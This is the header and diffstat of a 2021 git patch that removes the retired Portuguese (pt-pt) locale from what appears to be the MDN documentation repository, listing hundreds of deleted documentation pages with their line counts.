From 95aca4b4d8fa62815d4bd412fff1a364f842814a Mon Sep 17 00:00:00 2001 From: Ryan Johnson Date: Thu, 29 Apr 2021 16:16:42 -0700 Subject: remove retired locales (#699) --- files/pt-pt/_redirects.txt | 1035 ---- files/pt-pt/_wikihistory.json | 5178 -------------------- files/pt-pt/conflicting/glossary/api/index.html | 36 - .../learn/css/first_steps/how_css_works/index.html | 136 - .../index.html | 113 - files/pt-pt/conflicting/mdn/contribute/index.html | 95 - files/pt-pt/conflicting/web/api/index.html | 215 - .../conflicting/web/api/web_storage_api/index.html | 157 - .../conflicting/web/api/xmlhttprequest/index.html | 24 - .../reference/global_objects/number/index.html | 132 - .../reference/global_objects/object/index.html | 200 - .../web/progressive_web_apps/index.html | 63 - .../responsive_design_building_blocks/index.html | 158 - .../index.html | 36 - files/pt-pt/games/index.html | 91 - .../tutorials/2d_breakout_game_phaser/index.html | 63 - files/pt-pt/games/tutorials/index.html | 26 - files/pt-pt/glossary/404/index.html | 19 - files/pt-pt/glossary/502/index.html | 24 - files/pt-pt/glossary/accessibility/index.html | 33 - files/pt-pt/glossary/ajax/index.html | 35 - files/pt-pt/glossary/api/index.html | 11 - files/pt-pt/glossary/argument/index.html | 26 - files/pt-pt/glossary/aria/index.html | 18 - files/pt-pt/glossary/bigint/index.html | 13 - .../block_cipher_mode_of_operation/index.html | 14 - files/pt-pt/glossary/boolean/index.html | 52 - files/pt-pt/glossary/browser/index.html | 111 - files/pt-pt/glossary/cache/index.html | 18 - files/pt-pt/glossary/cia/index.html | 18 - files/pt-pt/glossary/compile/index.html | 103 - files/pt-pt/glossary/crlf/index.html | 30 - files/pt-pt/glossary/cross_axis/index.html | 73 - files/pt-pt/glossary/crud/index.html | 18 - files/pt-pt/glossary/dhtml/index.html | 10 - files/pt-pt/glossary/dom/index.html | 30 - files/pt-pt/glossary/ecma/index.html | 19 - files/pt-pt/glossary/element/index.html | 21 - files/pt-pt/glossary/engine/index.html | 19 - files/pt-pt/glossary/entity_header/index.html | 27 - files/pt-pt/glossary/favicon/index.html | 30 - files/pt-pt/glossary/flexbox/index.html | 79 - files/pt-pt/glossary/git/index.html | 19 - files/pt-pt/glossary/gzip_compression/index.html | 18 - files/pt-pt/glossary/html/index.html | 52 - files/pt-pt/glossary/hypertext/index.html | 121 - files/pt-pt/glossary/iana/index.html | 19 - files/pt-pt/glossary/idempotent/index.html | 47 - files/pt-pt/glossary/index.html | 41 - files/pt-pt/glossary/indexeddb/index.html | 19 - files/pt-pt/glossary/isp/index.html | 22 - files/pt-pt/glossary/lazy_load/index.html | 18 - files/pt-pt/glossary/localization/index.html | 48 - files/pt-pt/glossary/main_axis/index.html | 51 - files/pt-pt/glossary/metadata/index.html | 26 - files/pt-pt/glossary/mitm/index.html | 114 - files/pt-pt/glossary/node.js/index.html | 111 - files/pt-pt/glossary/object/index.html | 23 - files/pt-pt/glossary/object_reference/index.html | 21 - files/pt-pt/glossary/oop/index.html | 22 - files/pt-pt/glossary/ota/index.html | 22 - files/pt-pt/glossary/polyfill/index.html | 17 - .../prototype-based_programming/index.html | 18 - files/pt-pt/glossary/scm/index.html | 22 - files/pt-pt/glossary/server/index.html | 26 - files/pt-pt/glossary/signature/index.html | 97 - files/pt-pt/glossary/tag/index.html | 26 - files/pt-pt/glossary/utf-8/index.html | 24 - files/pt-pt/glossary/value/index.html | 21 - files/pt-pt/glossary/viewport/index.html | 27 - files/pt-pt/glossary/visual_viewport/index.html | 23 - files/pt-pt/glossary/webextensions/index.html | 20 - files/pt-pt/glossary/webrtc/index.html | 33 - files/pt-pt/glossary/webvtt/index.html | 31 - files/pt-pt/glossary/whatwg/index.html | 25 - files/pt-pt/glossary/world_wide_web/index.html | 43 - files/pt-pt/glossary/wrapper/index.html | 33 - files/pt-pt/glossary/xhtml/index.html | 170 - files/pt-pt/glossary/xml/index.html | 19 - files/pt-pt/learn/accessibility/index.html | 87 - .../how_does_the_internet_work/index.html | 101 - files/pt-pt/learn/common_questions/index.html | 132 - .../index.html | 123 - .../set_up_a_local_testing_server/index.html | 183 - .../what_is_a_domain_name/index.html | 235 - .../common_questions/what_is_a_url/index.html | 232 - .../what_is_a_web_server/index.html | 199 - .../cascade_and_inheritance/index.html | 136 - files/pt-pt/learn/css/building_blocks/index.html | 360 -- .../learn/css/building_blocks/selectors/index.html | 209 - .../css/building_blocks/styling_tables/index.html | 656 --- .../building_blocks/values_and_units/index.html | 342 -- files/pt-pt/learn/css/css_layout/index.html | 454 -- .../first_steps/how_css_is_structured/index.html | 189 - .../learn/css/first_steps/how_css_works/index.html | 131 - files/pt-pt/learn/css/first_steps/index.html | 93 - files/pt-pt/learn/css/howto/css_faq/index.html | 230 - .../learn/css/howto/generated_content/index.html | 189 - files/pt-pt/learn/css/howto/index.html | 93 - files/pt-pt/learn/css/index.html | 59 - .../learn/css/styling_text/fundamentals/index.html | 159 - files/pt-pt/learn/css/styling_text/index.html | 137 - .../css/styling_text/styling_lists/index.html | 363 -- .../pt-pt/learn/front-end_web_developer/index.html | 189 - .../css_basics/index.html | 294 -- .../dealing_with_files/index.html | 120 - .../how_the_web_works/index.html | 113 - .../html_basics/index.html | 238 - .../learn/getting_started_with_the_web/index.html | 66 - .../installing_basic_software/index.html | 166 - .../javascript_basics/index.html | 414 -- .../publishing_your_website/index.html | 126 - .../the_web_and_web_standards/index.html | 175 - .../what_will_your_website_look_like/index.html | 113 - .../add_a_hit_map_on_top_of_an_image/index.html | 204 - files/pt-pt/learn/html/howto/index.html | 154 - files/pt-pt/learn/html/index.html | 60 - .../advanced_text_formatting/index.html | 692 --- .../creating_hyperlinks/index.html | 332 -- .../introduction_to_html/debugging_html/index.html | 187 - .../document_and_website_structure/index.html | 293 -- .../getting_started/index.html | 613 --- .../learn/html/introduction_to_html/index.html | 65 - .../marking_up_a_letter/index.html | 105 - .../structuring_a_page_of_content/index.html | 108 - .../the_head_metadata_in_html/index.html | 347 -- .../learn/html/multimedia_and_embedding/index.html | 70 - .../mozilla_splash_page/index.html | 195 - .../video_and_audio_content/index.html | 370 -- files/pt-pt/learn/html/tables/advanced/index.html | 539 -- files/pt-pt/learn/html/tables/basics/index.html | 651 --- files/pt-pt/learn/html/tables/index.html | 121 - .../html/tables/structuring_planet_data/index.html | 152 - files/pt-pt/learn/index.html | 137 - files/pt-pt/learn/index/index.html | 89 - .../manipulating_documents/index.html | 161 - .../pt-pt/learn/javascript/first_steps/index.html | 144 - files/pt-pt/learn/javascript/index.html | 63 - files/pt-pt/learn/server-side/django/index.html | 69 - .../development_environment/index.html | 407 -- .../learn/server-side/express_nodejs/index.html | 77 - .../express_nodejs/introduction/index.html | 540 -- files/pt-pt/learn/server-side/index.html | 58 - .../node_server_without_framework/index.html | 95 - .../cross_browser_testing/accessibility/index.html | 608 --- .../cross_browser_testing/index.html | 48 - files/pt-pt/learn/tools_and_testing/index.html | 46 - files/pt-pt/mdn/about/index.html | 128 - files/pt-pt/mdn/at_ten/history_of_mdn/index.html | 226 - files/pt-pt/mdn/at_ten/index.html | 40 - files/pt-pt/mdn/contribute/feedback/index.html | 59 - .../mdn/contribute/getting_started/index.html | 116 - .../convert_code_samples_to_be_live/index.html | 37 - .../howto/create_and_edit_pages/index.html | 182 - files/pt-pt/mdn/contribute/howto/index.html | 13 - .../contribute/howto/report_a_problem/index.html | 25 - files/pt-pt/mdn/contribute/howto/tag/index.html | 376 -- .../write_a_new_entry_in_the_glossary/index.html | 115 - .../write_an_api_reference/sidebars/index.html | 110 - files/pt-pt/mdn/contribute/index.html | 24 - .../guidelines/conventions_definitions/index.html | 202 - .../guidelines/does_this_belong_on_mdn/index.html | 201 - files/pt-pt/mdn/guidelines/index.html | 10 - .../mdn/guidelines/writing_style_guide/index.html | 668 --- files/pt-pt/mdn/index.html | 30 - files/pt-pt/mdn/structures/index.html | 16 - files/pt-pt/mdn/structures/live_samples/index.html | 249 - files/pt-pt/mdn/structures/macros/index.html | 46 - files/pt-pt/mdn/tools/index.html | 17 - files/pt-pt/mdn/tools/kumascript/index.html | 496 -- files/pt-pt/mdn/yari/index.html | 25 - files/pt-pt/mozilla/add-ons/index.html | 111 - .../anatomy_of_a_webextension/index.html | 136 - .../webextensions/api/browseraction/index.html | 127 - .../webextensions/api/browsingdata/index.html | 130 - .../api/browsingdata/removeplugindata/index.html | 124 - .../webextensions/api/devtools/panels/index.html | 104 - .../add-ons/webextensions/api/i18n/index.html | 93 - .../mozilla/add-ons/webextensions/api/index.html | 13 - .../webextensions/api/pageaction/index.html | 108 - .../webextensions/api/sidebaraction/index.html | 182 - .../add-ons/webextensions/api/storage/index.html | 106 - .../browser_support_for_javascript_apis/index.html | 20 - .../webextensions/content_scripts/index.html | 447 -- .../add-ons/webextensions/examples/index.html | 29 - .../extending_the_developer_tools/index.html | 157 - .../pt-pt/mozilla/add-ons/webextensions/index.html | 135 - .../intercept_http_requests/index.html | 161 - .../webextensions/internationalization/index.html | 417 -- .../manifest.json/browser_action/index.html | 236 - .../browser_specific_settings/index.html | 107 - .../manifest.json/devtools_page/index.html | 42 - .../webextensions/manifest.json/icons/index.html | 79 - .../add-ons/webextensions/manifest.json/index.html | 132 - .../webextensions/match_patterns/index.html | 431 -- .../mozilla/add-ons/webextensions/tips/index.html | 50 - .../user_interface/browser_action/index.html | 51 - .../user_interface/browser_styles/index.html | 454 -- .../user_interface/context_menu_items/index.html | 52 - .../user_interface/devtools_panels/index.html | 63 - .../user_interface/extension_pages/index.html | 65 - .../webextensions/user_interface/index.html | 94 - .../user_interface/notifications/index.html | 51 - .../user_interface/omnibox/index.html | 71 - .../user_interface/options_pages/index.html | 65 - .../user_interface/page_actions/index.html | 51 - .../webextensions/user_interface/popups/index.html | 61 - .../user_interface/sidebars/index.html | 58 - .../what_are_webextensions/index.html | 60 - .../add-ons/webextensions/what_next_/index.html | 61 - .../your_first_webextension/index.html | 154 - .../your_second_webextension/index.html | 461 -- files/pt-pt/mozilla/firefox/index.html | 73 - .../pt-pt/mozilla/firefox/releases/1.5/index.html | 26 - files/pt-pt/mozilla/firefox/releases/2/index.html | 94 - .../pt-pt/mozilla/firefox/releases/3.5/index.html | 261 - .../releases/3.5/updating_extensions/index.html | 112 - .../pt-pt/mozilla/firefox/releases/3.6/index.html | 310 -- files/pt-pt/mozilla/firefox/releases/3/index.html | 298 -- .../releases/3/site_compatibility/index.html | 78 - .../releases/3/updating_extensions/index.html | 210 - files/pt-pt/mozilla/firefox/releases/4/index.html | 657 --- files/pt-pt/mozilla/firefox/releases/5/index.html | 114 - files/pt-pt/mozilla/firefox/releases/6/index.html | 250 - files/pt-pt/mozilla/firefox/releases/70/index.html | 140 - files/pt-pt/mozilla/firefox/releases/index.html | 25 - files/pt-pt/mozilla/index.html | 16 - .../index.html" | 61 - files/pt-pt/orphaned/componentes/index.html | 21 - .../index.html" | 6 - .../construir_uma_extens\303\243o/index.html" | 228 - files/pt-pt/orphaned/controles_xul/index.html | 146 - .../criando_um_visual_para_o_firefox/index.html | 35 - .../criar_uma_pele_para_o_firefox/index.html | 15 - .../desenhando_texto_usando_canvas/index.html | 58 - .../orphaned/faq_extens\303\265es/index.html" | 52 - .../firefox_3_para_desenvolvedores/index.html | 82 - .../index.html" | 27 - .../javascript_orientado_a_objetos/index.html | 229 - .../learn/html/forms/html5_updates/index.html | 73 - .../index.html" | 25 - .../manipuladores_de_protocolo_web/index.html | 98 - .../mdn/community/conversations/index.html | 59 - .../orphaned/mdn/community/doc_sprints/index.html | 126 - files/pt-pt/orphaned/mdn/community/index.html | 57 - .../mdn/community/whats_happening/index.html | 43 - .../mdn/community/working_in_community/index.html | 103 - .../contribute/howto/be_a_beta_tester/index.html | 53 - .../howto/create_an_mdn_account/index.html | 42 - .../howto/do_a_technical_review/index.html | 66 - .../howto/do_an_editorial_review/index.html | 57 - .../howto/set_the_summary_for_a_page/index.html | 48 - .../howto/tag_javascript_pages/index.html | 76 - .../index.html | 115 - files/pt-pt/orphaned/mdn/editor/basics/index.html | 73 - files/pt-pt/orphaned/mdn/editor/index.html | 21 - .../mdn/structures/api_references/index.html | 59 - .../what_does_an_api_reference_need/index.html | 163 - .../orphaned/mdn/tools/page_watching/index.html | 50 - .../orphaned/mdn/tools/template_editing/index.html | 13 - .../pt-pt/orphaned/mdn/troubleshooting/index.html | 72 - .../index.html | 22 - .../getting_started_with_web-ext/index.html | 305 -- .../package_your_extension_/index.html | 63 - .../porting_a_google_chrome_extension/index.html | 23 - .../porting_a_legacy_firefox_add-on/index.html | 82 - .../temporary_installation_in_firefox/index.html | 51 - .../user_experience_best_practices/index.html | 160 - .../webextensions_and_the_add-on_id/index.html | 79 - .../pt-pt/orphaned/o_dom_e_o_javascript/index.html | 83 - .../index.html | 147 - .../pref\303\241cio/index.html" | 52 - .../refer\303\252ncia_jsdbgapi/index.html" | 23 - .../sobre_o_document_object_model/index.html | 27 - files/pt-pt/orphaned/tinderbox/index.html | 32 - files/pt-pt/orphaned/toolkit_api/index.html | 13 - .../tools/add-ons/dom_inspector/index.html | 68 - .../introduction_to_dom_inspector/index.html | 93 - files/pt-pt/orphaned/tools/add-ons/index.html | 16 - .../orphaned/transformar_xml_com_xslt/index.html | 146 - .../para_leitura_adicional/index.html | 207 - .../formas_de_desenho/index.html | 9 - files/pt-pt/orphaned/tutorial_do_canvas/index.html | 25 - .../index.html" | 24 - .../adicionando_bot\303\265es/index.html" | 78 - .../tutorial_xul/criando_uma_janela/index.html | 90 - files/pt-pt/orphaned/tutorial_xul/index.html | 53 - .../introdu\303\247\303\243o/index.html" | 62 - .../um_pequeno_exemplo_usando_ajax/index.html | 35 - .../index.html" | 100 - .../index.html" | 75 - .../pt-pt/orphaned/utilizando_meta_tags/index.html | 378 -- files/pt-pt/orphaned/venkman/index.html | 58 - .../o_que_\303\251_css_question_/index.html" | 95 - files/pt-pt/orphaned/web/guide/events/index.html | 134 - .../guia/expressoes_e_operadores/index.html | 833 ---- .../index.html" | 48 - .../orphaned/web/javascript/guia/sobre/index.html | 167 - .../index.html" | 548 --- .../o_que_\303\251_o_javascript/index.html" | 14 - .../asyncfunction/prototype/index.html | 56 - .../orphaned/web/mathml/element/mglyph/index.html | 73 - .../web/mathml/element/mlabeledtr/index.html | 100 - .../pt-pt/orphaned/web/xslt/comunidade/index.html | 9 - files/pt-pt/orphaned/web/xslt/elementos/index.html | 60 - .../xforms/controles_customizados/index.html | 273 -- files/pt-pt/orphaned/xforms/index.html | 69 - .../xforms_especiais_para_mozilla/index.html | 93 - files/pt-pt/orphaned/xml_no_mozilla/index.html | 237 - files/pt-pt/orphaned/xpath/eixos/index.html | 45 - .../xpath/fun\303\247\303\265es/index.html" | 48 - files/pt-pt/plugins/flash_to_html5/index.html | 83 - files/pt-pt/tools/about_colon_debugging/index.html | 250 - files/pt-pt/tools/debugger/how_to/index.html | 11 - .../debugger/how_to/open_the_debugger/index.html | 19 - .../debugger/how_to/use_a_source_map/index.html | 32 - files/pt-pt/tools/debugger/index.html | 62 - .../tools/debugger/source_map_errors/index.html | 70 - files/pt-pt/tools/debugger/ui_tour/index.html | 95 - files/pt-pt/tools/index.html | 228 - files/pt-pt/tools/keyboard_shortcuts/index.html | 1157 ----- files/pt-pt/tools/memory/index.html | 66 - files/pt-pt/tools/network_monitor/index.html | 693 --- .../page_inspector/how_to/edit_fonts/index.html | 29 - .../how_to/examine_and_edit_css/index.html | 224 - .../examine_and_edit_the_box_model/index.html | 42 - files/pt-pt/tools/page_inspector/how_to/index.html | 13 - .../how_to/inspect_and_select_colors/index.html | 27 - .../how_to/open_the_inspector/index.html | 22 - .../reposition_elements_in_the_page/index.html | 23 - .../how_to/use_the_inspector_api/index.html | 44 - .../how_to/visualize_transforms/index.html | 12 - .../how_to/work_with_animations/index.html | 109 - files/pt-pt/tools/page_inspector/index.html | 58 - .../page_inspector/keyboard_shortcuts/index.html | 94 - .../pt-pt/tools/page_inspector/ui_tour/index.html | 102 - files/pt-pt/tools/performance/call_tree/index.html | 194 - .../pt-pt/tools/performance/frame_rate/index.html | 61 - files/pt-pt/tools/performance/how_to/index.html | 65 - files/pt-pt/tools/performance/index.html | 186 - files/pt-pt/tools/performance/ui_tour/index.html | 128 - files/pt-pt/tools/performance/waterfall/index.html | 564 --- .../debugging_firefox_desktop/index.html | 42 - files/pt-pt/tools/remote_debugging/index.html | 21 - .../tools/remote_debugging/thunderbird/index.html | 45 - .../pt-pt/tools/responsive_design_mode/index.html | 215 - files/pt-pt/tools/settings/index.html | 245 - files/pt-pt/tools/storage_inspector/index.html | 193 - files/pt-pt/tools/style_editor/index.html | 112 - files/pt-pt/tools/taking_screenshots/index.html | 43 - files/pt-pt/tools/tools_toolbox/index.html | 181 - files/pt-pt/tools/web_audio_editor/index.html | 69 - .../tools/web_console/console_messages/index.html | 475 -- files/pt-pt/tools/web_console/helpers/index.html | 143 - files/pt-pt/tools/web_console/index.html | 49 - .../web_console/keyboard_shortcuts/index.html | 15 - .../pt-pt/tools/web_console/rich_output/index.html | 78 - .../tools/web_console/split_console/index.html | 21 - .../the_command_line_interpreter/index.html | 188 - files/pt-pt/tools/web_console/ui_tour/index.html | 28 - .../accessibility/aria/aria_techniques/index.html | 215 - .../using_the_status_role/index.html | 83 - files/pt-pt/web/accessibility/aria/index.html | 123 - files/pt-pt/web/accessibility/index.html | 72 - .../pt-pt/web/api/ambient_light_events/index.html | 71 - files/pt-pt/web/api/animation/index.html | 142 - files/pt-pt/web/api/audionode/index.html | 207 - files/pt-pt/web/api/battery_status_api/index.html | 170 - files/pt-pt/web/api/blob/blob/index.html | 77 - files/pt-pt/web/api/blob/index.html | 157 - files/pt-pt/web/api/blob/size/index.html | 73 - files/pt-pt/web/api/blob/type/index.html | 83 - files/pt-pt/web/api/canvas_api/index.html | 248 - files/pt-pt/web/api/canvas_api/tutorial/index.html | 61 - files/pt-pt/web/api/client/index.html | 67 - .../pt-pt/web/api/closeevent/closeevent/index.html | 71 - files/pt-pt/web/api/closeevent/index.html | 195 - files/pt-pt/web/api/document/alinkcolor/index.html | 44 - files/pt-pt/web/api/document/bgcolor/index.html | 56 - files/pt-pt/web/api/document/cookie/index.html | 86 - files/pt-pt/web/api/document/dir/index.html | 72 - .../api/document/getelementsbyclassname/index.html | 70 - files/pt-pt/web/api/document/index.html | 458 -- .../web/api/document/queryselector/index.html | 134 - .../api/document/visibilitychange_event/index.html | 148 - .../pt-pt/web/api/document_object_model/index.html | 502 -- .../using_the_w3c_dom_level_1_core/index.html | 80 - files/pt-pt/web/api/domstring/index.html | 43 - files/pt-pt/web/api/element/clientleft/index.html | 48 - files/pt-pt/web/api/element/clienttop/index.html | 39 - files/pt-pt/web/api/element/index.html | 574 --- files/pt-pt/web/api/file/file/index.html | 71 - files/pt-pt/web/api/file/filename/index.html | 37 - files/pt-pt/web/api/file/filesize/index.html | 37 - files/pt-pt/web/api/file/getasbinary/index.html | 77 - files/pt-pt/web/api/file/getasdataurl/index.html | 67 - files/pt-pt/web/api/file/getastext/index.html | 83 - files/pt-pt/web/api/file/index.html | 101 - files/pt-pt/web/api/file/lastmodified/index.html | 113 - .../pt-pt/web/api/file/lastmodifieddate/index.html | 80 - files/pt-pt/web/api/file/mozfullpath/index.html | 17 - files/pt-pt/web/api/file/name/index.html | 74 - files/pt-pt/web/api/file/type/index.html | 75 - .../web/api/file/webkitrelativepath/index.html | 80 - .../api/file_and_directory_entries_api/index.html | 192 - files/pt-pt/web/api/filereader/abort/index.html | 58 - files/pt-pt/web/api/filereader/error/index.html | 54 - files/pt-pt/web/api/filereader/index.html | 172 - .../api/filereader/readasarraybuffer/index.html | 64 - .../api/filereader/readasbinarystring/index.html | 85 - .../web/api/filereader/readasdataurl/index.html | 133 - .../pt-pt/web/api/filereader/readastext/index.html | 63 - .../pt-pt/web/api/filereader/readystate/index.html | 96 - files/pt-pt/web/api/filereader/result/index.html | 105 - files/pt-pt/web/api/filesystem/index.html | 55 - files/pt-pt/web/api/geolocation/index.html | 223 - files/pt-pt/web/api/geolocation_api/index.html | 243 - files/pt-pt/web/api/index.html | 14 - files/pt-pt/web/api/mathmlelement/index.html | 72 - files/pt-pt/web/api/media_streams_api/index.html | 212 - files/pt-pt/web/api/mediadevices/index.html | 263 - files/pt-pt/web/api/messageevent/index.html | 139 - files/pt-pt/web/api/metadata/index.html | 117 - files/pt-pt/web/api/navigatoronline/index.html | 134 - .../online_and_offline_events/index.html | 98 - files/pt-pt/web/api/node/appendchild/index.html | 32 - files/pt-pt/web/api/node/clonenode/index.html | 56 - files/pt-pt/web/api/node/index.html | 407 -- files/pt-pt/web/api/node/insertbefore/index.html | 61 - files/pt-pt/web/api/notification/index.html | 316 -- files/pt-pt/web/api/notifications_api/index.html | 194 - .../using_the_notifications_api/index.html | 290 -- files/pt-pt/web/api/page_visibility_api/index.html | 271 - files/pt-pt/web/api/push_api/index.html | 175 - files/pt-pt/web/api/selection/index.html | 77 - files/pt-pt/web/api/service_worker_api/index.html | 335 -- .../using_service_workers/index.html | 459 -- files/pt-pt/web/api/sharedworker/index.html | 200 - files/pt-pt/web/api/storage_api/index.html | 129 - files/pt-pt/web/api/urlsearchparams/index.html | 207 - files/pt-pt/web/api/web_audio_api/index.html | 512 -- .../web_audio_api/using_web_audio_api/index.html | 260 - .../web/api/web_authentication_api/index.html | 150 - files/pt-pt/web/api/web_storage_api/index.html | 109 - .../index.html | 443 -- files/pt-pt/web/api/web_workers_api/index.html | 234 - .../web_workers_api/using_web_workers/index.html | 1092 ----- files/pt-pt/web/api/webgl_api/constants/index.html | 4024 --------------- files/pt-pt/web/api/webgl_api/data/index.html | 134 - files/pt-pt/web/api/webgl_api/index.html | 255 - files/pt-pt/web/api/webgl_api/types/index.html | 243 - .../web/api/webgl_api/using_extensions/index.html | 719 --- .../pt-pt/web/api/webglrenderingcontext/index.html | 444 -- files/pt-pt/web/api/webrtc_api/index.html | 288 -- .../api/webrtc_api/taking_still_photos/index.html | 223 - files/pt-pt/web/api/websocket/index.html | 148 - files/pt-pt/web/api/websocket/websocket/index.html | 59 - files/pt-pt/web/api/websockets_api/index.html | 113 - .../writing_a_websocket_server_in_java/index.html | 221 - .../index.html | 181 - .../writing_websocket_server/index.html | 442 -- .../writing_websocket_servers/index.html | 258 - files/pt-pt/web/api/window/console/index.html | 56 - files/pt-pt/web/api/window/index.html | 479 -- files/pt-pt/web/api/window/open/index.html | 748 --- files/pt-pt/web/api/window/postmessage/index.html | 337 -- files/pt-pt/web/api/window/sidebar/index.html | 61 - files/pt-pt/web/api/worker/index.html | 270 - files/pt-pt/web/api/xmlhttprequest/index.html | 174 - files/pt-pt/web/css/@font-face/index.html | 143 - files/pt-pt/web/css/@import/index.html | 53 - files/pt-pt/web/css/@media/index.html | 276 -- files/pt-pt/web/css/_doublecolon_after/index.html | 35 - files/pt-pt/web/css/_doublecolon_before/index.html | 64 - .../web/css/alternative_style_sheets/index.html | 24 - files/pt-pt/web/css/at-rule/index.html | 83 - .../pt-pt/web/css/background-attachment/index.html | 140 - files/pt-pt/web/css/background-color/index.html | 108 - files/pt-pt/web/css/background-image/index.html | 131 - files/pt-pt/web/css/background-position/index.html | 85 - files/pt-pt/web/css/background-repeat/index.html | 138 - files/pt-pt/web/css/background/index.html | 117 - files/pt-pt/web/css/border-bottom-color/index.html | 110 - files/pt-pt/web/css/border-bottom-style/index.html | 94 - files/pt-pt/web/css/border-bottom-width/index.html | 112 - files/pt-pt/web/css/border-bottom/index.html | 109 - files/pt-pt/web/css/border-collapse/index.html | 87 - files/pt-pt/web/css/border-color/index.html | 116 - files/pt-pt/web/css/border-left-color/index.html | 16 - files/pt-pt/web/css/border-left-style/index.html | 16 - files/pt-pt/web/css/border-left-width/index.html | 16 - files/pt-pt/web/css/border-left/index.html | 50 - files/pt-pt/web/css/border-right-color/index.html | 16 - files/pt-pt/web/css/border-right-style/index.html | 16 - files/pt-pt/web/css/border-right-width/index.html | 16 - files/pt-pt/web/css/border-right/index.html | 49 - files/pt-pt/web/css/border-spacing/index.html | 100 - files/pt-pt/web/css/border-top-color/index.html | 16 - files/pt-pt/web/css/border-top-style/index.html | 16 - files/pt-pt/web/css/border-top-width/index.html | 16 - files/pt-pt/web/css/border-top/index.html | 49 - files/pt-pt/web/css/border-width/index.html | 112 - files/pt-pt/web/css/border/index.html | 51 - files/pt-pt/web/css/bottom/index.html | 81 - files/pt-pt/web/css/clear/index.html | 93 - files/pt-pt/web/css/color/index.html | 47 - files/pt-pt/web/css/content/index.html | 18 - files/pt-pt/web/css/counter-increment/index.html | 66 - files/pt-pt/web/css/counter-reset/index.html | 69 - .../web/css/css_backgrounds_and_borders/index.html | 156 - .../using_multiple_backgrounds/index.html | 59 - files/pt-pt/web/css/css_box_model/index.html | 167 - .../introduction_to_the_css_box_model/index.html | 70 - .../css/css_colors/color_picker_tool/index.html | 3244 ------------ files/pt-pt/web/css/css_columns/index.html | 240 - .../aligning_items_in_a_flex_container/index.html | 216 - .../web/css/css_flexible_box_layout/index.html | 155 - .../ordering_flex_items/index.html | 141 - .../index.html | 127 - .../typical_use_cases_of_flexbox/index.html | 144 - files/pt-pt/web/css/css_grid_layout/index.html | 251 - .../css_transforms/using_css_transforms/index.html | 35 - files/pt-pt/web/css/css_types/index.html | 66 - files/pt-pt/web/css/cursor/index.html | 159 - files/pt-pt/web/css/direction/index.html | 46 - files/pt-pt/web/css/display/index.html | 707 --- files/pt-pt/web/css/float/index.html | 111 - files/pt-pt/web/css/font-size-adjust/index.html | 75 - files/pt-pt/web/css/font-size/index.html | 83 - files/pt-pt/web/css/font-smooth/index.html | 85 - files/pt-pt/web/css/font-style/index.html | 40 - files/pt-pt/web/css/font-weight/index.html | 119 - files/pt-pt/web/css/font/index.html | 140 - files/pt-pt/web/css/gap/index.html | 179 - files/pt-pt/web/css/height/index.html | 86 - files/pt-pt/web/css/index.html | 105 - files/pt-pt/web/css/inherit/index.html | 7 - files/pt-pt/web/css/list-style/index.html | 79 - files/pt-pt/web/css/media_queries/index.html | 111 - .../media_queries/using_media_queries/index.html | 437 -- files/pt-pt/web/css/paged_media/index.html | 20 - files/pt-pt/web/css/pseudo-classes/index.html | 166 - files/pt-pt/web/css/pseudo-elements/index.html | 105 - files/pt-pt/web/css/reference/index.html | 172 - files/pt-pt/web/css/replaced_element/index.html | 23 - .../pt-pt/web/css/shorthand_properties/index.html | 143 - files/pt-pt/web/css/top/index.html | 54 - files/pt-pt/web/css/transform/index.html | 238 - files/pt-pt/web/css/width/index.html | 86 - files/pt-pt/web/css/z-index/index.html | 41 - files/pt-pt/web/events/index.html | 3081 ------------ files/pt-pt/web/guide/ajax/community/index.html | 23 - .../web/guide/ajax/getting_started/index.html | 306 -- files/pt-pt/web/guide/ajax/index.html | 131 - files/pt-pt/web/guide/graphics/index.html | 51 - .../web/guide/html/content_categories/index.html | 176 - .../web/guide/html/html5/html5_parser/index.html | 59 - files/pt-pt/web/guide/html/html5/index.html | 170 - .../html/html5/introduction_to_html5/index.html | 21 - .../using_html_sections_and_outlines/index.html | 344 -- files/pt-pt/web/guide/index.html | 63 - files/pt-pt/web/html/applying_color/index.html | 582 --- .../web/html/attributes/crossorigin/index.html | 88 - files/pt-pt/web/html/attributes/index.html | 660 --- files/pt-pt/web/html/attributes/rel/index.html | 419 -- files/pt-pt/web/html/element/audio/index.html | 48 - files/pt-pt/web/html/element/fieldset/index.html | 178 - files/pt-pt/web/html/element/figcaption/index.html | 102 - files/pt-pt/web/html/element/figure/index.html | 57 - files/pt-pt/web/html/element/head/index.html | 109 - files/pt-pt/web/html/element/index.html | 108 - files/pt-pt/web/html/element/nav/index.html | 100 - files/pt-pt/web/html/element/progress/index.html | 129 - files/pt-pt/web/html/element/video/index.html | 70 - files/pt-pt/web/html/global_attributes/index.html | 481 -- files/pt-pt/web/html/index.html | 105 - files/pt-pt/web/html/link_types/index.html | 609 --- files/pt-pt/web/html/reference/index.html | 28 - .../http/cors/errors/corsdidnotsucceed/index.html | 22 - files/pt-pt/web/http/cors/errors/index.html | 76 - files/pt-pt/web/http/cors/index.html | 570 --- files/pt-pt/web/http/headers/allow/index.html | 67 - files/pt-pt/web/http/headers/index.html | 360 -- .../http/headers/x-content-type-options/index.html | 83 - files/pt-pt/web/http/index.html | 84 - .../http/proxy_servers_and_tunneling/index.html | 98 - files/pt-pt/web/http/status/205/index.html | 45 - files/pt-pt/web/http/status/405/index.html | 46 - files/pt-pt/web/http/status/502/index.html | 51 - files/pt-pt/web/http/status/504/index.html | 50 - files/pt-pt/web/http/status/index.html | 185 - files/pt-pt/web/index.html | 88 - .../web/javascript/data_structures/index.html | 298 -- .../guide/details_of_the_object_model/index.html | 736 --- .../javascript/guide/grammar_and_types/index.html | 642 --- files/pt-pt/web/javascript/guide/index.html | 124 - .../web/javascript/guide/introduction/index.html | 138 - files/pt-pt/web/javascript/index.html | 140 - .../web/javascript/memory_management/index.html | 188 - .../web/javascript/reference/about/index.html | 53 - .../web/javascript/reference/classes/index.html | 437 -- .../javascript/reference/classes/static/index.html | 131 - .../deprecated_and_obsolete_features/index.html | 290 -- .../web/javascript/reference/errors/index.html | 31 - .../reference/errors/not_a_function/index.html | 172 - .../reference/errors/stmt_after_return/index.html | 77 - .../reference/errors/unexpected_token/index.html | 50 - .../errors/unnamed_function_statement/index.html | 114 - .../reference/functions/arguments/index.html | 229 - .../reference/functions/arrow_functions/index.html | 400 -- .../web/javascript/reference/functions/index.html | 595 --- .../reference/functions/rest_parameters/index.html | 235 - .../global_objects/array/concat/index.html | 205 - .../reference/global_objects/array/find/index.html | 210 - .../global_objects/array/foreach/index.html | 328 -- .../global_objects/array/includes/index.html | 175 - .../reference/global_objects/array/index.html | 440 -- 